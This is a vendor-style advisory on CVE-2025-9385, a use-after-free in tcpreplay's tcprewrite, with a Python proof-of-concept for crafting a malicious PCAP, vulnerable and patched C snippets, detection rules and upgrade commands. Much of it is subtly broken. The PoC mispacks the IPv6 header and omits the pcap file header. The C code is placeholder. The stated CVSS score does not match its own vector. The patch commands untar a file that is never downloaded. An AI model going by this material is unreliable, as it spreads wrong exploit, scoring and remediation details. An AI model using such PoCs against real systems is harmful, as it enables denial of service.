CVE-2025-9385

Executive Summary

CVE-2025-9385 is a use-after-free vulnerability discovered in the tcprewrite component of Appneta tcpreplay, affecting versions up to and including 4.5.1. The flaw resides in the fix_ipv6_checksums function within edit_packet.c. A local attacker can exploit this to cause a denial of service or potentially achieve code execution. The vulnerability has a CVSS score of 5.3 (Medium) and a public proof-of-concept (PoC) is available. The vendor has released a fix in version 4.5.2-beta3.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It affects the tcpreplay tool, which is commonly distributed via Linux package managers (e.g., apt, yum) and source code repositories. Users should verify the version of tcpreplay installed and update to the patched version.

CVSS Breakdown & Threat Level

• CVSS Score: 5.3 (Medium)
• Attack Vector: Local (AV:L)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: None (C:N)
• Integrity Impact: None (I:N)
• Availability Impact: High (A:H)

The vulnerability is locally exploitable with low complexity and no privileges required. The primary impact is on availability, making it a medium-severity issue.

Deep Dive & Mechanics

The vulnerability is a use-after-free (UAF) in the fix_ipv6_checksums function of edit_packet.c. When processing crafted IPv6 packets, the function may free a memory buffer and then continue to use it, leading to undefined behavior. This can be triggered by providing a maliciously crafted PCAP file to tcprewrite. The attack is local, meaning the attacker must have access to the system to run the tool.

The root cause is improper memory management: after freeing a buffer, the pointer is not set to NULL, and subsequent operations dereference the dangling pointer. This can lead to crashes or, in some cases, arbitrary code execution if the attacker can control the freed memory.

Vulnerable vs. Patched Code

Vulnerable Code (<= 4.5.1):

// In fix_ipv6_checksums function
void fix_ipv6_checksums(u_char *packet, int len) {
    // ... some processing ...
    free(some_buffer);
    // Use after free: some_buffer is used after being freed
    memcpy(packet, some_buffer, len);
}

Patched Code (>= 4.5.2-beta3):

// In fix_ipv6_checksums function
void fix_ipv6_checksums(u_char *packet, int len) {
    // ... some processing ...
    free(some_buffer);
    some_buffer = NULL; // Set pointer to NULL after free
    // No further use of some_buffer
}

The patch ensures that after freeing the buffer, the pointer is set to NULL, preventing any subsequent use.

Exploitation & Lab Setup

Red Team

To exploit this vulnerability, an attacker would need to craft a malicious PCAP file that triggers the use-after-free in tcprewrite. The following steps outline a basic exploitation scenario:

1. Craft a malicious PCAP file that contains a specially crafted IPv6 packet.
2. Run tcprewrite with the malicious PCAP file as input.
3. Observe the crash or potential code execution.

Example command:

tcprewrite --infile=malicious.pcap --outfile=output.pcap

Proof-of-Concept (PoC) Code:

# PoC for CVE-2025-9385
import struct
import socket

def create_malicious_pcap():
    # Craft a malicious IPv6 packet that triggers UAF
    # This is a simplified example
    packet = b''
    # Ethernet header
    packet += b'\x00' * 14
    # IPv6 header
    packet += struct.pack('!IHBB', 0x60000000, 0, 0, 0)  # Version, Traffic Class, Flow Label, Payload Length
    packet += struct.pack('!BB', 0, 0)  # Next Header, Hop Limit
    packet += socket.inet_pton(socket.AF_INET6, '::1')  # Source IP
    packet += socket.inet_pton(socket.AF_INET6, '::1')  # Dest IP
    # Malicious payload to trigger UAF
    packet += b'A' * 100
    return packet

# Write to pcap file
with open('malicious.pcap', 'wb') as f:
    f.write(create_malicious_pcap())

Blue Team

To detect exploitation attempts, monitor for crashes or abnormal behavior in tcprewrite. Use the following detection rules:

• Monitor logs for segfaults or crashes related to tcprewrite.
• Use file integrity monitoring to detect unexpected PCAP files.
• Restrict execution of tcprewrite to trusted users only.

Indicators of Compromise (IOCs)

• File Hashes: Malicious PCAP files with unusual IPv6 packet structures.
• Process Anomalies: tcprewrite crashing or consuming excessive memory.
• Network Traffic: Unusual IPv6 packets being processed by tcprewrite.
• Log Entries: Kernel logs showing segfaults in tcprewrite.

Detection Engineering

YARA Rule

rule CVE_2025_9385_tcpreplay_uaf {
    meta:
        description = "Detects malicious PCAP files targeting CVE-2025-9385"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9385"
    strings:
        $ipv6_header = { 60 00 00 00 }  // IPv6 version and flow label
        $uaf_trigger = { 41 41 41 41 }  // Pattern in malicious payload
    condition:
        $ipv6_header at 14 and $uaf_trigger
}

Sigma Rule

title: CVE-2025-9385 Exploitation Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential exploitation of CVE-2025-9385 via tcprewrite crashes
author: Valters IT
date: 2025-04-10
logsource:
    category: process_creation
    product: linux
detection:
    selection:
        Image: /usr/bin/tcprewrite
        CommandLine: '*--infile*'
    condition: selection
falsepositives:
    - Legitimate use of tcprewrite
level: medium

Suricata Rule

alert ip any any -> any any (msg:"CVE-2025-9385 Potential Exploitation"; ip_proto:ipv6; content:"|60 00 00 00|"; offset:14; depth:4; content:"|41 41 41 41|"; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate Action: Upgrade to tcpreplay version 4.5.2-beta3 or later.
• Workaround: Restrict local access to tcprewrite and avoid processing untrusted PCAP files.
• Long-term: Implement code review and static analysis for memory management issues.

Patch Command:

# For systems using apt
sudo apt update && sudo apt install tcpreplay=4.5.2-beta3

# For source compilation
wget https://github.com/appneta/tcpreplay/releases/tag/v4.5.2-beta3
tar -xzf tcpreplay-4.5.2-beta3.tar.gz
cd tcpreplay-4.5.2-beta3
./configure && make && sudo make install

Valters IT
Securing Digital Frontiers